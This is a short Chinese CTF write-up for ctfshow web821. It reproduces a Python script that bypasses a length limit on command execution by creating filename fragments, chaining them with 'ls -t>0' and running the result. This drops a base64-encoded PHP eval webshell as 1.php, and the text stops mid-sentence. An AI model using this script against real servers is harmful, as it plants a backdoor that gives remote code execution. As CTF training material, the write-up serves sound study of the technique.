CTFSHOW 常用姿势篇（821-831）

这一部分我就是一个脚本搬运工了。 web821

可以看下这篇文章 https://www.cnblogs.com/-chenxs/p/11981586.html 这种限制长度的可以通过将想要使用的命令作为文件名进行创建，接着按时间排序写入到另一个文件中ls -t >0 最后执行0即可sh 0 用下群主在vip群发的脚本

import requests
import time

url = "http://ddfe46fa-fa05-4675-bb00-537e95a0f936.challenge.ctf.show/"

payload=[
">hp",
">1.p\\",
">d\\>\\",
">\\ -\\",
">e64\\",
">bas\\",
">7\\|\\",
">XSk\\",
">Fsx\\",
">dFV\\",
">kX0\\",
">bCg\\",
">XZh\\",
">AgZ\\",
">waH\\",
">PD9\\",
">o\\ \\",
">ech\\",
"ls -t>0",
". 0"
]
def writeFile(payload):
	data={
	"cmd":payload
	}
	requests.post(url,data=data)

def run():
	for p in payload:
		writeFile(p.strip())
		print("[*] create "+p.strip())
		time.sleep(1)

def check():
	response = requests.get(url+"1.php")
	if response.status_code == requests.codes.ok:
		print("[*] Attack success!!!Webshell is "+url+"1.php")

def main():
	run()
	check()

	


if __name__ == '__main__':
	main()

写入的文件内容为